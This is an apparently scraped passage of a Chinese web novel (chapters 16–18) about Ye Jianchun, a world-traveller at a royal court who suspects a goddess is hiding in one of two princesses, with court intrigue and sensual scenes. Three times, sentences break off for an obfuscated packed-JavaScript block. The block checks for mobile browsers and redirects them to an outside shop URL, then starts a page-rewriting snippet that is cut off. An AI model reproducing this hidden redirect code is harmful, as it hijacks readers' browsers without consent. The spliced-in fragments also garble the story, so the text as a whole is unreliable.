如果不是脸上火辣辣的痛感,叶见春以为自己又在做梦。他以前很少做梦,但进入这个世界后,频繁的梦境与幻觉让他都怀疑自己是不是精神分裂。 他赤脚跳下柔软的床榻,一个打扮精致的男人恰好急匆匆地闯进来,高声说君主请他去宴席。 叶见春很难不把目光放在他那隆起宽厚的胸肌上,却又觉得不礼貌,于是只能艰难地移开目光向上看,用更不礼貌的姿态对着他。 在他穿梭过的诸多小世界中,君主神权制并不罕见,其中被管理的人类几乎顺从得不可思议。 但君主制世界对于叶见春来说相对安全,稳定的体制结构禁锢信徒的思想,让他们不能及时做出应变,一切反抗都将在繁复的教条与仪式中被提前消化。唯独有一点麻烦,他们不欢迎像叶见春这样的无神者。 人类是奇怪的物种,他们齐心协力的时候力量足以杀死神明,可在这样的小世界里他们竟然心甘情愿被奴役被征服,宁愿在退化制度的世界里夹生,嘴里高喊着神明万岁亿岁,也不愿意作出一点点思考与反抗。 转瞬之间,叶见春立即勾起自己那礼貌且不失得体的笑容,见见又如何? 好不容易把这浮夸又高调的男人送走,转头就看到屋里的女仆,她们伸手,露出一双双崭新的白手套,竟然开始动手扒他衣服。叶见春的假笑顿时消失,捂住岌岌可危的衣领,敏捷地跳到窗户边上的盆栽后面。 她们要他更衣。 叶见春用身上仅存的几片布料将自己裹紧,牢牢挡在胸前,从盆栽枝叶后探出半张脸,斩钉截铁地摇头:“我自己来。” 女仆们面无表情地思考了很久,直到一阵微风将没拴好的窗户吹开,她们才如梦初醒般同意留叶见春一个人在里面换衣服。她们关门的表情很怪,似乎不明白他在矜持什么。 留在屋里的叶见春表情也不好看,这里的人都不知道羞耻一样,令人不快。可现在,明明所有人都出去了,他还是觉得仿佛有一双无形的眼睛仍然在看着自己,很不自在。在这温度适宜的房间里,他竟然有些口干舌燥。 适时,没关紧的窗户被风吹得咿呀咿呀响,窗口那株看起来快死了的带刺植株随风摇摆。 叶见春仔细勘探房间的每一寸,还是没有发现异样,他转身将窗户关牢,房间一下暗了不少。不知道为什么,黑暗中,他的不安又扩大了几分,他把身上脏兮兮的带着血迹的衣服一件件脱掉,换上干净的礼服。 这股不自在持续了很久,直到他离开房间,才有所缓解。 16. 爱.Chapter 16 叶见春见到这个世界的神明时,不可避免地闪过一丝失望。 太不像她。 尽管他做足了心理准备,但君主说第一句话的时候,还是防不胜防。 她说这是——订婚宴。 准新郎就是面前这个被打扮得人模狗样但脸色极臭的章邱。 叶见春花了三分钟了解事情的全貌。 大概就是一个狗血到连AI生成的连续剧都不敢这么拍——一个天降的草根勇士“不小心”闯进公主里樱比武招亲现场并无意中打败了所有对手然后跃上龙门成为王夫——的故事。 叶见春看向备受君主宠爱如花似玉的大公主里樱,听说君主当场就宣布了婚期,还对章邱十分满意。 叶见春认为她大概是闭着眼睛选人。 但凡她睁开眼,能昧着良心说出他俩真般配这话,难不成是按白黑配选的? 他和闵宇则因为阴差阳错下意外阻拦了逃跑的队长,连抢劫银行这样的罪名都能被豁免,还作为王夫相识的“娘家人”来参加这次气氛诡异的订婚宴。 闵宇偏头很小声说:“春哥,我怎么感觉这大公主长得有点像神明呀……” 叶见春疼得脑袋都快开出花。 这位准新娘里樱,名字里正巧带了一个樱字的公主殿下,年纪不大,不过这副肤白貌美,细胳膊细腿,弱不禁风的样子,尤其是那头显眼的短色银发与沙漠里的神明确实有几分相似。 章邱脸色本就很差,现在他的脸几乎是黑得发紫了。他承认自己是有些慌不择路才选择闯进银行,这的确有些赌的成分,赌她们杀不了他,就可以借着混乱,结束这荒诞的婚礼——他宁死也不愿意被羞辱——却又被这个大难不死的刺头给拦住了。 现在他被这里的君主亲自看押,强行被念压制身体不得动弹,全是拜他所赐! 叶见春! 开什么世界国际玩笑,他可是有强烈信仰的军人,绝不会接受莫名其妙被人按头结婚这样屈辱的事情,尤其还是和一个从未见面的女人! 现在还有什么办法?他动了动嘴巴,大喊:“我不喜欢她!” 君主平淡地看着他,问:“你有心上人?” “老子……” 忽然,门外传来欢快的脚步声打断了他,君主的神色顿时严肃,问下人:“是里白吗?” 旁边的人还没来得及说话,门已经被人直接踹开,纯白的公主裙迤逦拖地,女孩拎着裙角蹦蹦跳跳地走进来,挤开里樱,半边身体靠在君主座椅边缘:“母上大人,一日不见,有没有想我呀?” 猝不及防闯入宴席上的女孩虽然和里樱年纪相仿,样貌却大相径庭。她金发碧眼,波浪般的长发留至腰间,是典型的古欧特征。偏偏面部线条柔和宁静,更像是古亚人的骨相。 闵宇看了看黑发黑眼的君主,眼神骂得很脏。 章邱的目光跟随古灵精怪的少女,脑海里却不由自主地浮现出一个绿色的身影,他摆了摆头,试图甩掉那个身影,鬼使神差地改口说:“是,所以我不能娶您的女儿。” 君主不怒自威,她噙着笑,纠正说:“不是娶,是嫁。” “我有心上人,是不会爱上任何人。” “爱?……” 叶见春此时悄无声息地走近她们,念力悄无声息地试探她们,说:“公主殿下……” 君主一边点着里白的额头不让她近身,一边缓缓转头看向叶见春,眉心皱成浅浅的川字,问:“你说什么?” 三人身上都有或多或少的生机,越是靠近,缠臂?上贴住叶见春手臂的叶子便越是发烫,现在他敢笃定,神明就在其中。 神明不可能没有注意到他,可她仍然不动声色地扮演自己的角色。 狡猾的神明,这次你又想要什么呢? 叶见春没放过她们脸上的任何表情,谦恭有礼地半跪下,说:“君主,如果他不愿意,可以选我吗?” 如果离公主近一些,总归会让他找到破绽。 可惜他显然还不够了解君主制的君威,于是君主被他们接二连三的蠢话给气笑了。 她打量叶见春单薄的小身板片刻,竟然看不出他身上念的归属,或许是个愚蠢的无神者,于是转头问里樱:“公主,你喜欢谁?” 里樱立即跪下,不敢说话。 旁边的里白也有些惊讶,她停下来歪头认真打量了会这个不怕死的男人,扯出一个略显孩子气的笑。 她扯了扯叶见春的袖子,宽大的袖口下,一只柔若无骨的长手撩过肌肤,一触即离,无人在意,快得像是错觉。 叶见春眼睛瞪大看着她,然而里白还是那副漫不经心的表情,转头对君主撒娇:“母上,姐姐有的我也得有,我也要一个王夫。” “胡闹,你年纪小,懂什么是情爱。” “我就要嘛。” 这边君主还没教训完小女儿,那边大女儿已经规矩地合手伏下:“母上,既然他心上有人,婚礼不如作罢。” 君主语气软了些,对自己女儿耐心劝说:“心上人又如何,只要他娶了你,我自然有手段让他臣服。我们不是早就约定好了,他赢了比试,你对这个结果还有什么不满意。” “可是……” “没有可是,你的王夫,举国皆知。妹妹胡闹,你也跟着糊涂,当我已经死了吗?”君主收起慈爱,露出近乎冷漠的神情,宣布婚礼在三天后举行便先离开了。 里樱沉默着,随着岁月推移,她越来越不知道该如何与母亲相处了。她的母亲先是神明,然后才是母亲。她的喜怒哀乐,并不会有人在乎,这似乎有些令人难过。 神明一走,章邱解开束缚,立即掐住叶见春脖子,将他抵墙困住:“小子,你不该给我个解释吗?” 所有人都被他突如其来的举动吓一跳,里樱上前阻止,斟酌了好一会称呼才说:“这位……勇士!有话好好说。” 她的声音软乎乎的,没有半点杀伤力,所以章邱并没有松手,反而更紧了。 火上浇油吗? 叶见春眼神复杂地偏头看了眼里樱,歪坐在王椅上的二公主戏谑地看着这一出好戏,突然指着叶见春问:“姐姐,你喜欢他?” 里樱下意识否定说:“怎么会?” 二公主适时露出苦恼的表情:“不喜欢,为什么要救他? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094702|195614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 里樱的眼睛终于移到天真烂漫的妹妹身上。她的这个妹妹从小胡作非为,她则被礼仪教养所困,她们二人是完全两模两样的人生。所以她怯懦地张张嘴,叹口气说:“你不懂,喜欢一个人并没有这么简单。” 叶见春完全可以迫使对方松手,但他没有这么做,他抓住对方小臂卸了部分力,嗓音都变了调,主动说:“队长,信——我。” 一路走来已经牺牲了无数同伴,在犹豫下不下手的某个瞬间,章邱最终还是缓缓把人放下来,没有说话。 闵宇凑上去解释:“队长,春哥他一定有办法的。你看他死了还能活过来呢!” 这个例子举得不是很好,因为两位公主殿下都露出惊讶的表情。里樱脸色发白,往后退了两步,弱弱地问:“死了又活?你们……在说什么呀?” “这还不明显吗?”里白短暂惊讶后轻笑,支起一只手,吩咐说,“把这几个被电傻了胡言乱语的蠢蛋,送到维克医生那里看看脑袋。” “……” 下人们难得面露难色,毕竟维克医生从不医人——他是宫里唯一的兽医,训狗倒是很有一套。 里樱公主也被这话逗得眯眼笑了笑,点头说:“好。” 几秒钟后,三人被人抬着架出去。 “草。”平息冲动的章邱后知后觉地骂道。 被抬出宫殿的三人看清这座宫殿的模样,这是一座巴洛克式?城堡,不同于大街的污浊灰尘,这里充斥着清新空气,路边有被人精心设计的不同绿色植物投影,城堡和周围建筑圈悬浮在半空,巨大的喷泉错落在云间,看起来像一座梦中城堡。 看起来,这里像是仿制几千年前的空中花园。 当然,都公元4000年了,不会有人想不明白这些都是假的,鲜花是隐形投影仪,城堡用了特殊材料隐去了下半身,连喷泉里的水都是用某种流动的金属以便源源不断喷出绚烂的银色水花。整个城堡被一层透明薄膜球笼罩,所以没有受到外面雾霾的影响。 章邱不太会说话,每路过一处只会夸夸草,就这样夸了一路过去。 维克医生其实是一个长相清秀的小伙子,戴着金丝链条眼镜,棕栗色短发柔顺地贴在耳后。他斯斯文文的,很爱笑,性格更是温和有礼。 可当他徒手单拎起一只巨大的大丹犬时,连章邱的面容都不自觉抽搐了一下。 “大公主是开玩笑的,请各位不要介意。”他彬彬有礼地说道,“不过如果脑袋昏沉的话,我建议可以去后花园走走,那里很美丽,如果幸运的话,还可以见到一种蓝色的花,那是公主殿下种的珍稀花种。不过,后花园是皇室的私人领域,各位贵客们去之前请先向君主请示。” “维克先生,你怕蛇吗?”叶见春忽然问他。 “我吗?我是兽医怎么能怕蛇,不过公主殿下可不喜欢这些,所以各位放心,城堡里是没有蛇的。” 维克说完觉得应该可以打消贵客的疑虑,但看到眼前人低着头耸着肩摸了摸狗狗——他看起来很失望? 一想到这些怪人里竟然还有公主的王夫,维克就不禁怀疑,君主的眼光未免也太不靠谱了。 17. 爱.Chapter 17 金丝雀被囚在笼中,君主用镊子夹起一只肥美的面包虫递到嘴边,鸟儿发出婉转的叫声,却并没有吃那触手可及的食物。 她试了几次,鸟儿却蹦蹦跳跳离得更远了,下一秒,她哂笑一声,牢固的笼子像立即从外向内变形折叠,鸟儿的叫声戛然而止。 “她松口了吗?” “还没有。” “不要让她再出去了。” “是。” 她把镊子放在一旁,无奈地叹气,仰头看着这座精美的城堡,好似一个巨大的鸟笼,没头没尾地说:“时间快到了。” 旁边的仆人立即会意,顺着说:“虽然婚礼时间有些仓促,但必不会敷衍草率,公主殿下的婚礼一定是整个王国最盛大的典礼。” - 第二天吃过午饭,每个人都心事重重,各自回到自己的屋子闭门不出。连总是屁颠屁颠跟在叶见春身后的闵宇那小子都不见人影。 以他的了解,神明她不懂情爱,更不知惧怕。即使在她以后的记忆里学会,可下意识的反应也骗不了人。可是,她最擅长欺骗自己,万一是装的怎么办? 叶见春升起一丝烦躁,她过去还喜欢过人类吗?他站在窗户边眺望,远处城市隐没在一片灰蓝色的雾霾里,忽然想起维克口中的那朵蓝色的花,突然有兴趣去看看传说中极其少见的蓝色花种。 妈妈曾经记载过283种已灭绝的和42种还现存的蓝色花种。然而叶见春却从未见过绽放的的蓝色花苞。 后花园有一个狭窄的入口,进入后只有一条鹅暖石铺就的独行小径。鹅暖石两边的植物应该也许是真的,毕竟可以触及,叶见春也懒得费念去探究,至少看起来郁郁葱葱的。阳光明媚,小路上遍布斑驳的光影。他脚步很轻,却在半路看到一丛玫瑰时蓦然停下来。 那玫瑰已经露色,是黑色的花苞。他好像从来没有在妈妈的插画本里见过黑色的花种。 一只螳螂不小心从旁边的树叶上掉下来,正好掉在玫瑰的花苞上,对叶见春张牙舞爪的,试图用身前的两把大刀吓退他。 叶见春蹲下来伸出手指,友善地看着它。螳螂往后退了两步,叶见春的指尖却得寸进尺地再次前进,螳螂退无可退,终于试着走到他手中。 叶见春小心翼翼地将它放回树枝上,露出一个浅浅的微笑。在过去许多年里,他几乎没怎么遇到过这些只在插画本里出现的生物。不过这并不妨碍他喜欢它们,这些和人类一样本就该存在于土地之上的异类生物,它们也很可爱,不是吗? 下一秒,一个快到看不清的肉色物体嗖的飞过来,螳螂不见了,叶见春的笑容也随之凝固。 他扭头,看见一只悠闲的变色龙吧唧吧唧嘴,将螳螂咬得嘎吱响。它察觉到叶见春的目光,于是转动它那可以360度旋转的眼球,好整以暇地上下打量对方,像是一种无声嘲笑。 这该死的糟糕的熟悉的感觉,叶见春下意识地想捉住它。没想到他只是看起来笨拙,实际上跑得飞快,转眼间窜到了树枝高处俯视他。 叶见春攥紧拳头,干脆利落地爬上树。 不远处传来轻微的震动,说不清是什么心思,叶见春顿时躲在茂密的枝叶间一动不动,屏住呼吸,静静地等待。 栗色短发,链条眼镜,卡其色大风衣——等等,是维克医生。 遭了,他似乎忘记了和这里的君主请示。 叶见春为自己的警惕感到好笑,刚准备从树上下来道歉,又听见一个女声的惊呼,很短暂,但他确信自己不会听错,动作顿时僵住。 从层层叠叠的树叶往外看,叶见春只能看到维克的半截身子,认不出他对面的人是谁。维克医生从脚边的花上勾起一团粉蓝色生物,很温柔地说:“兰花螳螂而已,别怕。” 对面的声音是女儿家的娇声细语,嘀嘀咕咕的,像黄莺的歌声,声音越说越小,听不清楚,但叶见春直觉这两人的亲昵程度似乎非比寻常。他的身体也越发僵硬,他似乎无意中窥探到了别人的私事。 这人也真是胆大,他怎么敢建议他们多去后花园走走? 好在两人没聊多久就走了,从叶见春的角度看,仍然只有维克医生一个人走过。 他再次抬头的时候,已经找不到那只变色龙了,不知道它是逃了还是隐藏得太好,他无端地叹口气。 确认人走远了,叶见春才从树上爬下来,然而他刚一落地,忽然听见背后冷飕飕的声音:“叶先生,你怎么会在这里,你在偷听吗?” 叶见春认命地转身,无意带着一片青叶落下,夹在二人之间,短暂地挡住她的下半张脸,让他瞧见一双冷漠透亮的漂亮眼睛。 于是这个不怕死还喜欢听墙角的男人大概想到了什么好玩的事,很突兀地笑起来,说:“里白公主,我无意打扰你们,也并没有故意偷听。” 他轻松地摊摊手:“事实上,我什么都没听到。” “我不信。”里白眼神向下示意他,叶见春也往她身下迅速打量了一眼,她的白裙子被地上的泥土弄得灰扑扑的,她正颐指气使地等待着他的下一步动作。 叶见春心领神会地捡起她的裙摆拎在手上,而这位娇蛮的公主殿下又不知道冒出了坏念头,偏偏在此时凑近问他,“叶先生,想知道我们在聊什么吗?” “不想。” 可里白根本没有管他的答案是什么,自顾自地说起来:“维克和我说他的爱是真心的,他告诉我结婚就代表真爱,你想做王夫,是不是也是因为爱?” “……”不,他当时只是想试探一下里樱是不是你。 他解释说:“其实我也没有……” 里白打断他,似乎不允许他脱离自己的人设:“我明白你很喜欢我姐姐,但我觉得你也应该向我证明一下——你的爱。” “我不是……”她这样亮晶晶地看着自己,叶见春心不由自主地剧烈鼓动。她刚刚也是这样看维克的吗?他不知道维克有什么好的,长得柔弱,心思也多,说话也慢吞吞的,她喜欢他什么?什么爱不爱的真心不真心。 他想得太多,说的话也不过脑子:“公主有什么好处给我吗?” “也许你们真挚的感情打动了我,我可以帮你抢婚呢。” “神明不会杀了我吗?” “生命诚可贵,爱情价更高。母亲会理解你的。” “按照公主的意思,你几次三番地勾引我,是不是也是爱我呢?你又如何证明我对你有多重要呢?”叶见春微微弯腰,与她平视。 “勾引和爱有什么联系?” 她的眼睛是森林的颜色,像是一头林间的高傲的鹿,浑身都写满了不谙世事四个大字。叶见春率先挪开眼,轻笑一声,将她累赘的公主裙哗啦一撕,变成一条及膝短裙,说:“二殿下究竟想要我做什么,不如直说?” 里白笑了笑:“做我的仆人,听我的命令,作为报酬,我就勉强准许你的愿望。” “可以。”叶见春不假思索地答应,他心里觉得好笑,她似乎总是这一套说辞。 里白很满意他的态度 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094703|195614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,语气还是疏离:“不过叶先生,撕女生的裙子,是很没礼貌的行为。” “抱歉。”毫无诚意的抱歉,好在公主也不在意,转身就走。 叶见春跟在她身后,摇着手中被泥土污染的布料,说:“公主,不用叶先生叶先生地叫我,你可以叫我……春天。” 里白顿了顿,说:“叶先生,我要你做的第一件事就是不要教本公主做事。” “可我的第一个愿望就是想听公主叫我春天。” 里白斜睨他一眼,声音冷淡:“很蠢的名字。” “……” 她话音一转,说:“不过,蠢得可爱,你很有趣,小春天。” 她的尾音翘起来,听起来甚至并不像她本来的声音。叶见春不知道她为什么大费周章地和自己玩角色扮演,她是不是忘了,他本来就是她的信仆。 _ 美丽的公主躺在那片茵绿草地里,她穿着鹅黄色的裙子,暖洋洋的阳光洒进她眼中,像沉溺进一片琥珀色的湖泊。 她朝他勾勾手,叶见春就忍不住回应她。他的吻从指尖细细密密地爬上她的肩头,像一条蜿蜒向上的蛇。棱骨分明的纤纤玉手在他背后胡乱地撩拨,他的心也因此彻底乱掉,随她一起跌入毛茸茸的草丛里。 他不知道自己迫切渴求的情绪从何而来,这似乎是雄性生物生来的劣根性,可他就是无比渴望她能需要自己。叶见春无师自通地剥开一层层衣服,怀着忐忑又隐秘的心情,终于看到神明完美无瑕如同羊脂玉般白嫩的皮肤,似乎只要轻轻用力,就会留下独属于他的痕迹。 他怕神明推开自己,忍不住向上看了一眼她的脸庞——她还是冷冰冰地看着自己,叶见春最讨厌她这个样子,像一块捂不暖的石头。 他毫不犹豫地咬住她的唇,带着无边无际的恶意,就是想要破坏她,让她也感受一下痛苦与绝望的滋味,让她疼一疼,反正她总是让他痛。他的背后被圆润的指甲戳破,神明似乎终于有了点兴趣,看着他轻笑。两个人谁也不退让,在草地里翻滚,不断吞咽彼此的血液与津液,像是一场血淋淋的对峙。 他发出难耐的声音,陌生的情潮将他淹没。像是在大海里飘荡,他抱紧身前唯一的浮木,上下起伏,柔和的海洋慢慢安抚他燥热的情绪。 他沉溺于此,听她在耳边轻呵,喊他:“春天……小春天。” 叶见春被吓醒了,一时分不清梦境和现实。他不可置信地掀开被子,平复呼吸,再睁开眼时,眸色一团阴暗。 又过了几秒,他推开窗,微凉的晚风灌进来,叶见春彻底醒了。 噩梦,一定是噩梦,只能是噩梦。 人类为什么会有如此低劣的生理反应? 一定是他见的女性太少了。 月光明亮皎洁,窗台上花盆里的翠绿叶片轻轻颤动,现在已经是后半夜了。叶见春想起自己的正事,他被公主吩咐的第一件事是采下清晨第一朵蓝玫瑰。里白再三强调,一定要守在后花园里,在清晨它绽开的那一刻摘下。 他简单清理了自己,悄无声息地来到后花园,静静等待。他今天的思维有些放纵,显得人呆愣愣的,寂静的花园很快将他的欲念吞噬干净。 可花园里的花苞才刚刚露色,天色渐晓,叶见春得出结论,它们不能按时开花。他的手发出莹莹的绿色光辉,过了很久才收回。本想用生机促使玫瑰开花,结果叶见春试探了一圈之后发现这里竟然毫无生机。 换一句话来说,这片后花园里的生物,都是幻象。 18. 爱.Chapter 18 远离城市烟火的空中花园渐渐泛起鱼肚白。玫瑰的花苞突然以肉眼可见的速度生长,仿佛下一秒就可以完全绽放。 叶见春目不转睛地盯着花骨朵最大的蓝玫瑰,眼见着它一点点的变化,渐渐露出星星点点的笑意——看来,神明这次没有那么无情。 这朵蓝玫瑰在它一生中最美的时刻被叶见春采下,带着一层清晨的露珠。叶见春听见身后传来轻巧的脚步声,他小心捏着玫瑰的下部茎枝,嘴角微扬,转身递过去,然后看到一张震惊疑惑的脸。 …… …… 而不远处,抱着蓝色兰花的维克同样愣在清晨的阴影里,他几乎把持不住惯有的礼貌性笑容,温柔的眼眸只抬起一瞬,又迅速移开,他轻声问:“公主,你约我?” 里樱同样莫名其妙:“不是叶先生约我?” 两人齐齐看向叶见春,电光火石间,叶见春立即想起神明那张似笑非笑的脸,他尴尬地呵呵笑起来,话里有种默认的悲哀:“我……说我是被公主约到这看花的你们信吗?” “维克我不是我没有!”里樱着急解释说,气氛诡异得令人窒息,有什么东西在她的脑子里一闪而过,又被轻易忽略掉。 可惜太迟了,无数黑衣蒙面的城卫把他们围起来。君主厉声问道:“你们在做什么!” 叶见春不知道君主来了多久,看到了什么。不过有一点他可以确定,他又一次踏进了神明的陷阱里。 真是令人头痛,又不知道为什么心里竟然沸腾起来,像是一种另类的趣味。真是迫不及待地想看看,她又要怎么杀他。 叶见春心有所动地仰头,透过层层树叶,恰好见到坐在高楼窗口边上的里白,清晨的第一缕阳光恰好降临在她侧脸旁,身着一件漂亮而华丽的红色长裙,像一团烈焰的火,优雅又不失分寸地和他挥手打个招呼。 叶见春猝不及防地想到沙漠里那个作为祭品献祭的孩子,从见到她的第一眼开始,他的目光就无法从她身上挪开了。 都怪这可恶的神明! 她张扬又晃眼,无声地张口。叶见春瞬间读懂了她的唇语,耳边仿佛传来她一个字一个字轻佻的声音——“喜欢吗,小春天。” 在这片了无生机的后花园里,君主震怒,池鱼遭殃。蓝色的兰花被她踩在脚下,叶见春被拷上手铐,真正成为阶下囚。 叶见春最后看了一眼那飘逸的红裙和明亮的眼睛,她的裙带被风吹至上空,为一轮红日挂上披帛。他朝里白露出一张咬牙切齿的明媚笑脸,然后被带走,被迫跪在大殿上。 同样跪着的还有维克医生,但比起在后花园蹲守一夜的叶见春,他的形象可好太多了,此时仍然保持风度翩翩,还增添了几分让人想垂怜的柔弱感。君主揉着眉心,问:“说说吧,你们为什么会在后花园与公主私会?” 什么私会能三个人在一起?叶见春忍不住想辩驳,但他隐隐有预感,如果他开口或是把里白牵扯进来,可能会死得更快一些。而另一边,维克也同样咬死不承认,沉默中似乎带了点比拼的意味。 这让君主彻底失去了耐心,她看向身侧的里樱,直接问道:“我的好女儿,你喜欢谁?” 这问题或许太直白,把他们当做一块猪肉摆在被选择的角度,实在令人不太高兴。可维克却默然接受一切,连挣扎一下的勇气都没有,叶见春哀其不幸怒其不争。 扯淡,即使他有喜欢的人,也觉不会是眼前这位公主。叶见春甚至没有意识到他心里似乎有一个默许的答案。 里樱咬了咬唇,想否认却再次收到母上的警告:“不要想着糊弄我。” 她脸色苍白,闭着眼选了一个人,说:“我喜欢他,求母上成全。” 那瞬间,叶见春的肩膀被一根根坚韧的细线扎透,君主犀利的目光似乎要将他钉在耻辱柱上生生世世。简直是无妄之灾,叶见春把嘴里的血吐干净,才勉强说话:“公主,你喜欢我?” 公主心虚地嗯了一声。 他咧嘴忽然笑起来:“里樱公主,这不是喜欢。”他算是看出来了,她不是喜欢自己,只是想保护自己真正爱的人。 而被她保护的人低着头,没有人看见他落寞的目光,水汽慢慢模糊掉他歪了的镜片。 叶见春一边吐血,一边用念悄悄估量逃走的几率,又发现了件有趣的事情,于是他收回念,不知死活地问:“如果我说我喜欢公主,君上会给我一个机会吗?” “做梦!”君主一步步走向他,她手里的丝线只要一收紧,他必死无疑。叶见春全身肌肉紧绷,他还想赌一把,赌神明对他有一点点动心,哪怕只有一点点。他的脉搏心跳声越来越大,本能让他几乎听不到其他声音,口中铁锈味越来越重了。 里白就是在这个时候突然出现的,她的脚步雀跃,丝毫没有受到地上血腥的影响,红裙浸染上叶见春的鲜血,先一步挡在他面前,说:“母上大人~” 叶见春也勾起苍白的笑容,他赌赢了,看来神明还舍不得让他退出游戏。这大概算不上什么好事,但在她出现的这一刻,却让他全身血液都莫名激动起来。 她声音很甜,叶见春疼痛中恍惚抬头,失去神智般伸手去摸她腰间的金色发梢,还没摸着,微晃的长发就已经离他而去。 里白摇着君主的手腕,企图撒娇卖萌蒙混过关:“他是我的人,母上别杀他了好不好?” “他不该肖想他得不到的人。” 里白做出苦恼的神情,强调道:“可他是我的仆人,按规矩也该由我来管教他。” 君主哼了一声,神色却宽和了几分,说:“那就交给你处置吧。” 里樱抿唇,母亲总是这样,对妹妹毫无原则。成日里把她绑在神架上,不能出一点差错,却纵容妹妹任性娇纵。为什么她连喜欢的人都不能承认,而妹妹里白就可以得到她想要的一切? 她想了很多,身体却还是不敢动弹,只是在里白路过时,忽然拉住她带血的裙角,握了一手的血,用恳求的口吻说:“妹妹,是你约的维克吗?” 里白眉心一挑,眼眸微微瞪大,装作疑惑地看着她。随后她立即莞尔一笑,配合地说:“是的,我啊,非常喜欢维克医生。” 里樱的心跳停了一帧,她很清楚,从小到大,里白从不会拒绝她的任何请求,是比母亲更加亲近信赖的人。可她总是对她却总隔着一层玻璃般的疏离,尤其是刚刚她说喜欢的那一刻,里樱清晰地感受到心脏之下片刻的凝滞和带着嫉妒的微痛。 她甚至能想到,如果是她说出这句话,母亲严厉到吃人的目光,也许还会让本就仓促的婚礼更加迫切。 可她亲眼看着母亲只犹豫了半秒,说:“那就让他给你做王夫吧,婚礼就和里樱一起。” 里樱心里的某个地方悄然破裂,引发汹涌的洪水。她无助地摇头,却听见里白不知所谓的声音:“好啊,多谢母上。” 里樱的眼眸彻底灰暗下去。 - 现在不仅仅是里樱一个人的痛苦迷茫了,叶见春同样感到意外,心口多了一点自己都不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17100694|195614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从何说起的酸涩。 仆人要有仆人的自觉,叶见春咬着牙告诉自己。他颤颤巍巍站起来,浑浑噩噩被公主牵回房间,仍然没有听见对方的一句解释,终于忍不住开口:“你为什么要和他……” “我要你做的第二件事……” 里白睨了他一眼,非常有礼貌地顿了一秒等他说话,然而叶见春质问的勇气被轻而易举地冲散。 他怎么敢质问神明? 于是气氛再次沉寂下来,里白没在意他莫名其妙的看起来似乎可以称之为愤怒的情绪,停顿过后接着说:“爬床。” 叶见春怀疑自己听错了,否则这种词语为什么会出现在这座富丽堂皇的宫殿之内?他总算有点理解当初闵宇听说自己要抢银行的感受了。 他看着笑唇弯弯的公主,咽了咽口水,轻声说:“殿下,爬谁的床?” 里白神色不变:“当然是爬我大姐姐的床,你不是喜欢她吗?” 他什么时候喜欢她了,叶见春觉得自己被气昏了头,所以才会捉住她的手腕,半跪在床边,仰头问她:“可是我从来没有爬过床,公主殿下教教我?” 里白平静地看着他,眼中如一潭死水,毫无波澜。叶见春和她对视几秒,一瞬间好像身临其境地回到那个荒唐的梦境,顿时生出挫败情绪。他刚想退后,就被人拉住了衣领,娇俏的公主朱唇轻启:“我教你。” 叶见春的喉结上下滚动,但没来得及说一句话忽然被人好奇地用手指按住,粉润的指甲抵住他的皮肉,往下摁了摁。叶见春喉咙一痒,心里异样地烧了起来。 他不觉得这是在教他,更像是她早就想这么做了一样。那她是不是对自己也有着一样的欲望? 他已经走不了了,被人引导着一步步触摸她的腰侧、腿侧和脚踝。 “你会亲吻吗?” 什么吻?叶见春混混沌沌地想,你不是亲过吗? 他从来没有这样的体会,太过刺激,比梦境真实万倍,比死亡还令人恐惧。被人一点点剥开,发出难堪的喘息声,想退不能退,想进不能进。他身上出了一层汗,薄薄的肌肉下青筋跳动得厉害。 叶见春本能地顺从她的指导,那些梦境里的意动全都变成现实,他反而犹豫不决,从脚踝一点点向上亲到她的下巴,看到那双幽绿的眼睛。 他的思绪瞬间拉回,她还是这样冷漠地看着他,让他想扒开她的衣服,透过她的皮肉去看这人搏动的心脏,是不是连她的血液都是冷漠的暗色?他都这样了为什么她还能冷静自持? 强烈的酥麻感冲上天灵盖,他狠狠咬了咬她的耳垂,想,他是恨她的。 好恨好恨她。 他拥有这世上最喜怒无常的神明,她的心像石头一样坚硬,她的情绪像死海一样寂静,她曾经葬送了自己的父母、伙伴,甚至连他自己也随时会死在这里。 可叶见春偏偏想得到这人的关注,她和他见过的所有神明都不一样,强大却无知,偏偏柔软的皮骨下藏着毁灭一切的决心。从某种角度来说,他竟然可以诡异地理解她的所作所为。 叶见春想,哪怕是神明,也能不能麻烦她好好敷衍一下自己——而不是像现在——她的每一分举动都让他抑制不住地揣测,他究竟是不是她的特例? 凭什么只有他对她日思夜想,她却转头就将自己忘得一干二净?万恶的神明,叶见春咬紧下唇,不再发出令人浮想联翩的暧昧声音。 他发誓要将她拉下神坛,无论付出何种代价——哪怕在他知道所有的真相后。 19. 爱.Chapter 19 